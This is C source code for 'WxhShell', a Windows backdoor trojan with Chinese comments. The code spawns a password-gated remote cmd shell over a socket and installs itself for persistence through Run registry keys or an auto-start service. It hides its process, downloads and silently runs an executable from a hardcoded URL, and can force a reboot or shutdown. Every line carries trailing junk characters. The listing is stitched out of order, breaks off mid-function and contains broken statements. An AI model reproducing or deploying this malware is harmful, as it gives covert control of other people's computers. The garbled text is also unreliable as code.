    if(Boot(SHUTDOWN)) _zOzHc?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Ly%-py-$  
    else { ctCfLlK  
    closesocket(wsh); Q`oi=O YB  
    ExitThread(0); #e#8I7P  
    } A>PM'$"sT  
    break; *L^{p.K4  
    } =tP|sYR]^  
  // 获取shell )sL:iGU  
  case 's': { C*KRu`t  
    CmdShell(wsh); _Y0o\0B  
    closesocket(wsh); >Z3}WMgBN  
    ExitThread(0); 1|gEY;Ru  
    break; &&m%=i.qK  
  } ,wq.C6;&  
  // 退出 `@ `CZg  
  case 'x': { ('gjf l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MAR;k?d  
    CloseIt(wsh); :+;F"_  
    break; pymT-  
    } :l6sESr  
  // 离开 rdC(+2+Ay  
  case 'q': { Q!"Li  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nc31X  
    closesocket(wsh); :;JJvYIs  
    WSACleanup(); +28FB[W  
    exit(1); <y!BO  
    break; x3vz4m[  
        } B!Qdf8We  
  } Bb1dH/8  
  } C[pAa8  
# v v k7  
  // 提示信息 -_2= NA?t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RuHJk\T+  
} a-YK*  
  } p<![JeV  
wRuJein#  
  return; vI+PL(T@  
} 0nl)0|?Az  
#v`G4d  
// shell模块句柄 ?W#! S  
int CmdShell(SOCKET sock) ;bZ)q  
{ J|I|3h<T  
STARTUPINFO si; {o]OxqE@  
ZeroMemory(&si,sizeof(si)); W9u (  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #ucOjdquq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SKYS6b  
PROCESS_INFORMATION ProcessInfo; z cA"\  
char cmdline[]="cmd"; B4{A(-Tc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]=pEs6%O3  
  return 0; U %KoG-#  
} 8gx^e./  
`j<'*v zo  
// 自身启动模式 ucMl>G'!gX  
int StartFromService(void) uxR_(~8  
{ e0hT  
typedef struct mG2}JWA  
{ 3rWqt  
  DWORD ExitStatus; -m__I U  
  DWORD PebBaseAddress; }X AoMp  
  DWORD AffinityMask; ^i\zMMR  
  DWORD BasePriority; sd=i!r)ya  
  ULONG UniqueProcessId; 5[@4($q8  
  ULONG InheritedFromUniqueProcessId; yP"_j&ef7  
}   PROCESS_BASIC_INFORMATION; }we"IqLb  
9,9( mbWJv  
PROCNTQSIP NtQueryInformationProcess; fs`<x*}K  
}b+=,Sc"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k1%Ek#5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zKI(yC  
'T.> oP0>  
  HANDLE             hProcess; CqF< BE  
  PROCESS_BASIC_INFORMATION pbi; ]{;K|rCR-  
]r#tJ T`M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bb#w]!q  
  if(NULL == hInst ) return 0; FS']3uJ/  
,@2O_O`:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2 OGg`1XX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '9b<r7\@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3nG(z>  
QXF>xZ~  
  if (!NtQueryInformationProcess) return 0; N($j;<Q  
qC]D9 A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %u!#f<"[  
  if(!hProcess) return 0; OtnYv  
]P 2M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yhTe*I=Gk  
uT=sDWD :  
  CloseHandle(hProcess); 2Yyc`o0R;h  
<iTaJa$0m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dLo%+V#/A  
if(hProcess==NULL) return 0; t<$yxD/R  
2Ejs{KUj  
HMODULE hMod; fXL$CgXG\x  
char procName[255]; 9@ ^/ON\O  
unsigned long cbNeeded; kKCkjA:o##  
&yYK%~}t[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); id*UTY Tg  
S__ o#nf`%  
  CloseHandle(hProcess); 4}l,|7_&I  
2O4U ytN  
if(strstr(procName,"services")) return 1; // 以服务启动 esxU44  
&hZcj dB  
  return 0; // 注册表启动 =n$,Vv4A  
} Gd"lB*^Ht  
AR)&W/S)7,  
// 主模块 f)*}L?  
int StartWxhshell(LPSTR lpCmdLine) S"fnT*:.%  
{ ZL-@2ZU{1  
  SOCKET wsl; dp+wwNe  
BOOL val=TRUE; (z"Cwa@e  
  int port=0; >yT:eG  
  struct sockaddr_in door; =WN6Fj`  
JP[BSmhAV  
  if(wscfg.ws_autoins) Install(); kkqrl JO|  
N>@AsI  
port=atoi(lpCmdLine); F-2HE><+  
Oa*/jZjr  
if(port<=0) port=wscfg.ws_port; KaO8rwzDN  
zQ7SiRt7*  
  WSADATA data; _a c_8m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fnr*.k  
,A_itRHH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `kFxq<?aK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o%CBSm]  
  door.sin_family = AF_INET; 4(o0I~hpB?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X8Gw8^t  
  door.sin_port = htons(port); A4'v Jk  
"bC8/^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?2Bp^3ytJ  
closesocket(wsl); !dmI}<@&k  
return 1; 1{"e'[ L  
} Lw-)ijBW  
cC>.`1:  
  if(listen(wsl,2) == INVALID_SOCKET) { Km-lWreTH  
closesocket(wsl); C[&L h_F\  
return 1; W"z!sf5U  
} #{<Jm?sU  
  Wxhshell(wsl); 2,dG Rf  
  WSACleanup(); [7L1y) I(  
?EKYKLwr  
return 0; pNE!waR>  
v!40>[?|p  
} S[*e K Z  
,TP^i 0  
// 以NT服务方式启动 @{~x:P5g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q"fK"H-j  
{ ou@Dd4  
DWORD   status = 0; t?{E_70W  
  DWORD   specificError = 0xfffffff; kvryDM  
%!x\|@C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DUY#RJf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !AP|ozkL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H@OYtPHGR  
  serviceStatus.dwWin32ExitCode     = 0; ~I2 IgEj>]  
  serviceStatus.dwServiceSpecificExitCode = 0; bCc^)o/w  
  serviceStatus.dwCheckPoint       = 0; # |2w^Kn  
  serviceStatus.dwWaitHint       = 0; +-HaYB|p  
`N2zeFG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4uDz=B+8y  
  if (hServiceStatusHandle==0) return; c1e7h l  
U =T[-(:H  
status = GetLastError(); sL[,J[AN;  
  if (status!=NO_ERROR) 4l[f}Z  
{ 5jkW@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `W{Ye=|[d#  
    serviceStatus.dwCheckPoint       = 0; }1epn#O_4  
    serviceStatus.dwWaitHint       = 0; -`#LrO;n  
    serviceStatus.dwWin32ExitCode     = status; R (4 :_ xc  
    serviceStatus.dwServiceSpecificExitCode = specificError; {Pu\KRU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |PTL!>ym2  
    return; /q(+r5k \  
  } Ge|caiH1I  
Z#MPlw0B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hd6Qy {,*-  
  serviceStatus.dwCheckPoint       = 0; Pxy(YMv  
  serviceStatus.dwWaitHint       = 0; c~z{/L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dIMs{!  
} P2f~sx9  
A+:K!|w  
// 处理NT服务事件,比如:启动、停止 Rnun() plJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p4|:u[:&  
{ Ewu 7tq Z  
switch(fdwControl) d\xh>o  
{ Uu8Z2M  
case SERVICE_CONTROL_STOP: bV`Zo(z  
  serviceStatus.dwWin32ExitCode = 0; #%B1, .A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JFl@{6c  
  serviceStatus.dwCheckPoint   = 0; X]Sr]M^EK  
  serviceStatus.dwWaitHint     = 0; L@0DT&5  
  { "5ah{,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-\J!E'1F  
  } ,,b_x@y*  
  return; 980[]&(  
case SERVICE_CONTROL_PAUSE: 0;r+E*`DA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]r6,^"  
  break; (F~eknJ  
case SERVICE_CONTROL_CONTINUE: T?NwSxGo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; prhFA3 rW.  
  break; 8_mdh+  
case SERVICE_CONTROL_INTERROGATE: ^MDBJ0 I.  
  break; ) Q]kUG#`  
}; ;./Tv84I^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nBZqhtr  
} _9""3O  
'<$(*  
// 标准应用程序主函数 N2xgyKy~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7@|(z:uw  
{ 6^}GXfJAc  
cfa#a!Y4  
// 获取操作系统版本 k h#|`E#,  
OsIsNt=GetOsVer(); x w]Zo<F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w,9$*=k  
X62z>mM  
  // 从命令行安装 [m!$01=  
  if(strpbrk(lpCmdLine,"iI")) Install(); qEX59v  
}=;N3Q" #y  
  // 下载执行文件 hH`yQGZ  
if(wscfg.ws_downexe) { 5H;*Nj@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <fWho%eOK  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Km|SG[-q  
} XR]]g+Z  
J4xt!RW!  
if(!OsIsNt) { ${0Xq k  
// 如果时win9x,隐藏进程并且设置为注册表启动 "kVN|Do  
HideProc(); JKGUg3\~  
StartWxhshell(lpCmdLine); Q->'e-\E<"  
} ~\Fde^1  
else &I<R|a  
  if(StartFromService()) 1m|1eAGS{  
  // 以服务方式启动 PBR+NHrZ  
  StartServiceCtrlDispatcher(DispatchTable); H Viu7kue`  
else 1K4LEg a`  
  // 普通方式启动 QWxCNt:^?  
  StartWxhshell(lpCmdLine); E}.cz\!.  
wW]|ElYR=  
return 0; oI/@w  
} * vEG%Y  
?r2Im5N  
I&1h/  
R qOEQ*k  
=========================================== SL>>]A,E<`  
>c8zMd  
VBBqoyP h  
"?}QwtUW  
GVCyVt[!-  
Et# }XVCJ  
" |`E\$|\p  
)u'oI_  
#include <stdio.h> .ikFqZ$$  
#include <string.h> pi3Z)YcT  
#include <windows.h>  w~&bpCB!  
#include <winsock2.h> ~ m, z|  
#include <winsvc.h> x !]ZVl]  
#include <urlmon.h> hRtnO|Z6  
L'z;*N3D  
#pragma comment (lib, "Ws2_32.lib") 6EP5n  
#pragma comment (lib, "urlmon.lib") qA Jgz7=c  
=DG aK0n  
#define MAX_USER   100 // 最大客户端连接数 ]'DtuT?Z  
#define BUF_SOCK   200 // sock buffer 6aXsRhQ~  
#define KEY_BUFF   255 // 输入 buffer ,R3D  
,t(y~Z wJ  
#define REBOOT     0   // 重启 rQ@,Y"  
#define SHUTDOWN   1   // 关机 |o|0qG@g  
,r:. 3.  
#define DEF_PORT   5000 // 监听端口 ([`-*Hy  
W5EB+b49KM  
#define REG_LEN     16   // 注册表键长度 ,`S"nq  
#define SVC_LEN     80   // NT服务名长度 w'?uJW  
HaJD2wvr  
// 从dll定义API !>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %fK"g2:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DyYl97+Z?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2gg5:9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -QI1>7sl  
nke[}Hqf  
// wxhshell配置信息 }eULcgRG  
struct WSCFG { !@%m3)T8  
  int ws_port;         // 监听端口 e J2wK3R  
  char ws_passstr[REG_LEN]; // 口令 )TVyRYZ1  
  int ws_autoins;       // 安装标记, 1=yes 0=no {6a";Xj\e  
  char ws_regname[REG_LEN]; // 注册表键名 A!W(>  
  char ws_svcname[REG_LEN]; // 服务名 ]C}z3hhk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :X,1KR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g>T'R Vb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [[LCEw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xH; 4lw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MpGWt#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c R[DT04  
s:i$s")  
}; BVC\~j j  
:,LX3,  
// default Wxhshell configuration rR^VW^|f  
struct WSCFG wscfg={DEF_PORT, "a>%tsl$K  
    "xuhuanlingzhe", vAHJP$x  
    1, |A[Le ;,  
    "Wxhshell", -8#Of)W  
    "Wxhshell", ;UArDwH  
            "WxhShell Service", OAc+LdT  
    "Wrsky Windows CmdShell Service", r }pYm'e  
    "Please Input Your Password: ", pc:~_6S  
  1, 0waQw7 E  
  "http://www.wrsky.com/wxhshell.exe", [1G4he%  
  "Wxhshell.exe" \b{=&B[Q$'  
    }; Pdrz lu   
\;$j "i&  
// 消息定义模块 !!DHfAV]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KokmylHu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xzAyE5GL>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OiJ1&Fz(  
char *msg_ws_ext="\n\rExit."; svHs&v  
char *msg_ws_end="\n\rQuit."; JY4 +MApN  
char *msg_ws_boot="\n\rReboot..."; QEm6#y  
char *msg_ws_poff="\n\rShutdown..."; Z_ak4C  
char *msg_ws_down="\n\rSave to "; ?.,..p  
LmseY(i N  
char *msg_ws_err="\n\rErr!"; P8:k"i/6J  
char *msg_ws_ok="\n\rOK!"; q: ?6  
cOxF.(L  
char ExeFile[MAX_PATH]; gR?=z}`@p  
int nUser = 0; xCiY jl$  
HANDLE handles[MAX_USER]; rcY[jF  
int OsIsNt; [8l8 m6  
vRVQ:fw  
SERVICE_STATUS       serviceStatus; H+;>>|+:~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #q6jE  
_ ?xORzO  
// 函数声明 B14z<x}Q  
int Install(void); PZ AyHXY  
int Uninstall(void); P!0uAkt9C  
int DownloadFile(char *sURL, SOCKET wsh); C Rw.UC\  
int Boot(int flag); 6zaO$  
void HideProc(void); ZdY:I;)s  
int GetOsVer(void); 0\k2F,:%4  
int Wxhshell(SOCKET wsl); "!+q0l1]@  
void TalkWithClient(void *cs); p*8=($j4  
int CmdShell(SOCKET sock); ?2E@)7  
int StartFromService(void); XSpX6fq  
int StartWxhshell(LPSTR lpCmdLine); d+\o>x|Y!Y  
ApG_Gd.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P I)lJ\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Q>.|mu  
r@%-S!$  
// 数据结构和表定义 MOJKz!%  
SERVICE_TABLE_ENTRY DispatchTable[] = SdeKRZ{o  
{ hDSt6O4za  
{wscfg.ws_svcname, NTServiceMain}, l> W?XH  
{NULL, NULL} g;UB+Y 247  
}; %8DU}}Rj  
+j%!RS$ko  
// 自我安装 +A>>Ak|s  
int Install(void) jL<:N 8  
{ "fU=W|lY  
  char svExeFile[MAX_PATH]; 4703\ HK  
  HKEY key; +>M^p2l*&  
  strcpy(svExeFile,ExeFile);  |'aGj  
~*79rDs{  
// 如果是win9x系统,修改注册表设为自启动 v1oq[+  
if(!OsIsNt) { si.ZTG9m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iT227v!s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RplLU7  
  RegCloseKey(key); .!/DM-C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X6)-1.T&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;%0$3a  
  RegCloseKey(key); &z+nNkr?yN  
  return 0; +? E~F  
    } 6k|o<`~,  
  } *%=BcV+,  
} |a*VoMZ  
else { bqWo*>l  
LPc)-t|p"  
// 如果是NT以上系统,安装为系统服务 @!"w.@ Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {P&{+`sov  
if (schSCManager!=0) "3(""0Q  
{  iVu  
  SC_HANDLE schService = CreateService KLBU8%  
  ( nD@/,kw"  
  schSCManager, 3"NO"+Q  
  wscfg.ws_svcname, ZX'q-JUv f  
  wscfg.ws_svcdisp, |-a5|3  
  SERVICE_ALL_ACCESS, k Pi%RvuQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U0 nSI  
  SERVICE_AUTO_START, ;wK;  
  SERVICE_ERROR_NORMAL, >E;kM B  
  svExeFile,  Tvqq#;I  
  NULL, WYSqnmi  
  NULL, opU=49 b  
  NULL, |r>+\" X  
  NULL, 7 XE&[o  
  NULL NvW`x   
  ); 6<u =hhL  
  if (schService!=0) [uU"=H|  
  { kVz9}Xp"  
  CloseServiceHandle(schService); Yd'Fhvo8  
  CloseServiceHandle(schSCManager); j)xRzImu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lqe|1vN  
  strcat(svExeFile,wscfg.ws_svcname); LM\H%=*L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #s>AiD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &&T\PspM  
  RegCloseKey(key); JZI)jIh  
  return 0; CT1@J-np  
    } <:/Lap#D^  
  } &W+lwEu  
  CloseServiceHandle(schSCManager); ;)$bhNFHx  
} o&0fvCpW  
} : fMQ,S0  
6B`XHdCq  
return 1; MdXOH$ ps  
} !IF]P#  
C@d*t?  
// 自我卸载 DcYL8u  
int Uninstall(void) -:cBVu-m  
{ `yF6-F  
  HKEY key; .j^tFvN~L  
<` [o|>A Z  
if(!OsIsNt) { i<@"+~n~GK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X .,Lmh  
  RegDeleteValue(key,wscfg.ws_regname); W>TG!R 5  
  RegCloseKey(key); 5|O~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~wYGTm=(n  
  RegDeleteValue(key,wscfg.ws_regname); x3DUz  
  RegCloseKey(key); !z? &  
  return 0; Voy1  
  } 6$/Z.8  
} Q\Wh]=}  
} mxD]`F  
else { QiH>!Ssw  
K|L&mL&8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vT@*o=I  
if (schSCManager!=0) ;>hRj!  
{ )|3BS`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B|d-3\sn  
  if (schService!=0) dynkb901s  
  { 3bYP i^  
  if(DeleteService(schService)!=0) { ]31>0yj[Q  
  CloseServiceHandle(schService); TrCut 2  
  CloseServiceHandle(schSCManager); 1Hl-|n  
  return 0; T*o!#E.  
  } =&T%Jm}  
  CloseServiceHandle(schService); x{DTVa 6y2  
  } K@%o$S?>z_  
  CloseServiceHandle(schSCManager); La>fvm  
} CWBlDz  
} n?Zt\Kto  
w#6)XR|+,.  
return 1; HuT4OGBFpC  
} R7\T.;8+  
Cv[_N%3[  
// 从指定url下载文件 hgg 8r#4q  
int DownloadFile(char *sURL, SOCKET wsh) OQ(w]G0LP  
{ +Vv+<M  
  HRESULT hr; l bs0i  
char seps[]= "/"; 5Ve`j,`=<  
char *token; hGU  m7  
char *file; *kY JwO^  
char myURL[MAX_PATH]; TWSqn'<E  
char myFILE[MAX_PATH]; L|hELWru  
'4KN  
strcpy(myURL,sURL); QmgO00{  
  token=strtok(myURL,seps); lA{JpH_Y8s  
  while(token!=NULL) h;Hg/jv  
  { [KQ#b  
    file=token; e&@;hDmIX  
  token=strtok(NULL,seps); X9 N4  
  } 3</W}]$)p  
M ^ZEAZi  
GetCurrentDirectory(MAX_PATH,myFILE); p40;@gUug  
strcat(myFILE, "\\"); *@I/TX'\rY  
strcat(myFILE, file); 0tKVo]EK  
  send(wsh,myFILE,strlen(myFILE),0); Q~R%|Q{&  
send(wsh,"...",3,0); tm1#Lh0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vh"wXu  
  if(hr==S_OK) 0Q7|2{  
return 0; z:^ (#G{  
else 8n/8uRIR  
return 1; 9dVHh?E  
YsO3( HS  
} qnb#~=x^  
.oS[ DTn5S  
// 系统电源模块 &w!(.uDO  
int Boot(int flag) e0<Wed  
{ u>ZH-nw O  
  HANDLE hToken; FMX ^k  
  TOKEN_PRIVILEGES tkp; Etn uEU  
l{I.l  
  if(OsIsNt) { /IQ$[WR cx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P5KpFL`B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1%$t;R  
    tkp.PrivilegeCount = 1; =;"eZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W7W(jMH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BZQ"[-V{  
if(flag==REBOOT) { M ~ ;]d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H Y~[/H+:  
  return 0; -zg 6^f_pW  
} /HH_Zi0?N|  
else { VS\| f'E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;il+C!6zpf  
  return 0; A]laS7Q  
} :}U jX|D  
  } 82)%`$yZw[  
  else { e'yw8U5E/  
if(flag==REBOOT) { g@'2 :'\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DH7]TRCMZ)  
  return 0; }Ug$d>\  
} +~>cAWZq_  
else { G#Kw6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Ep7CV-n}  
  return 0; SoWMP2/  
} n-9a 0_{k  
} qZdA%  
IyEfisOK?  
return 1; <(t{C8>g%  
} .6!cHL3ln  
bt*  
// win9x进程隐藏模块 o@m7@$7  
void HideProc(void) \[G"/]J  
{ ;qO3m -(d  
c|@OD3w2lM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f?r{Q  
  if ( hKernel != NULL ) AJ>$`=  
  { ]VR79l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #<y/m*Ota  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #_Zkke~{  
    FreeLibrary(hKernel); QFK'r\3 pU  
  } p//mV H%  
Mtl`A'KQ/K  
return; AC\y|X8-  
} o5['5?i}/  
HZ2f|Y|T  
// 获取操作系统版本 :%gM Xsb  
int GetOsVer(void) $ y(Qdb  
{ K5RgWP  
  OSVERSIONINFO winfo; OHwH(}H?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D9  Mst6  
  GetVersionEx(&winfo); ~W-l|-eogz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f %3MDI  
  return 1; f 8\DAN  
  else SKF0p))BJ  
  return 0; 'C=(?H)M  
} s",G w]8  
Q,M,^_  
// 客户端句柄模块 r0wAh/J|  
int Wxhshell(SOCKET wsl) d;,Jf*x\  
{ B8unF=u  
  SOCKET wsh; 0dIGX |e  
  struct sockaddr_in client; FJq g,  
  DWORD myID; Sz:PeUr9h  
+f$ {r7  
  while(nUser<MAX_USER) 1,:QrhC  
{ t%%zuqF`  
  int nSize=sizeof(client); 6-~ZOMlV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G)?j(El  
  if(wsh==INVALID_SOCKET) return 1; rmi&{o:  
R_9M-RP6*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ] *U+nG  
if(handles[nUser]==0) #)m [R5g(  
  closesocket(wsh); 62kA(F 0e,  
else XTA:Y7"O  
  nUser++;  #]QS   
  } V*r/0|vd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }+}Cl T  
Ga+Cb2$  
  return 0; Z<W f/  
} ;s#I b_  
i1X!G|Awfv  
// 关闭 socket L8f_^ *,  
void CloseIt(SOCKET wsh) z}iz~WZ  
{ <>(v~a]  
closesocket(wsh); M1]w0~G  
nUser--; y<*\D_J  
ExitThread(0); A8QUfg@uK~  
} k.})3~F-  
nltOX@P-  
// 客户端请求句柄 Rqbz3h~  
void TalkWithClient(void *cs) [?=DPE%  
{ XZQ-Ig18  
A~ v[6*~>  
  SOCKET wsh=(SOCKET)cs; &G[W$2`@  
  char pwd[SVC_LEN]; G({5LjgW  
  char cmd[KEY_BUFF]; QkWEVL@uM  
char chr[1]; fT{jD_Q+3  
int i,j;  ^Y!$WP  
H]*B5Jv~  
  while (nUser < MAX_USER) { Zl>wWJ3y  
m<LzgX  
if(wscfg.ws_passstr) { `gF ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C^LxJG{L5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4]E1x l  
  //ZeroMemory(pwd,KEY_BUFF); Pqj\vdzx  
      i=0; R6`mmJ+'  
  while(i<SVC_LEN) { 9':Hh'  
S|;}]6p  
  // 设置超时 Q);}1'c  
  fd_set FdRead; 5z_Kkf?o  
  struct timeval TimeOut; @+_pj.D  
  FD_ZERO(&FdRead); xSO5?eR"u  
  FD_SET(wsh,&FdRead); G^z>2P  
  TimeOut.tv_sec=8; ,Y#f0  
  TimeOut.tv_usec=0; UV</Nx)3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pf;RJeD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Ba?4_>k  
)iVuac]E++  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TwF.UL@G%  
  pwd=chr[0]; 6mIeV0Q'  
  if(chr[0]==0xd || chr[0]==0xa) { "r8N- h/P  
  pwd=0; l^%52m@{  
  break; Bs|#7mA[  
  } hhhxsGyv  
  i++; &_s^C?x  
    } 6(7dr?^eGT  
;mr*$Iu7|  
  // 如果是非法用户,关闭 socket r[^O 7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8M,z#DF  
} ~eS/gF?  
a2]>R<M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ILiOEwHS7F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >) Bv>HM  
]zj&U#{  
while(1) { FW)~e*@8=  
{d0 rUHP  
  ZeroMemory(cmd,KEY_BUFF); I)9 ,  
L^PBcfg  
      // 自动支持客户端 telnet标准   a1ps'^Qhh  
  j=0; f+.sm  
  while(j<KEY_BUFF) { +QOK]NJN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YG5mzP<T  
  cmd[j]=chr[0]; 0W_u"UY$c  
  if(chr[0]==0xa || chr[0]==0xd) { ,1.Td=lY$  
  cmd[j]=0; w_;$ahsu~  
  break; Lo Y*,Aa&  
  } 5|`./+Ghk  
  j++; pV!WZ Ufg  
    } 2|(lKFkQ  
"\]]?&  
  // 下载文件 }7K~-  
  if(strstr(cmd,"http://")) { [\%a7ji#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); snNB;hkj  
  if(DownloadFile(cmd,wsh)) ;TK$?hrv*1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *(XGNp[0  
  else (dx~lMI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  @k#xr  
  } Q~n%c7  
  else { YN7O Qqa  
cBU3Q<^  
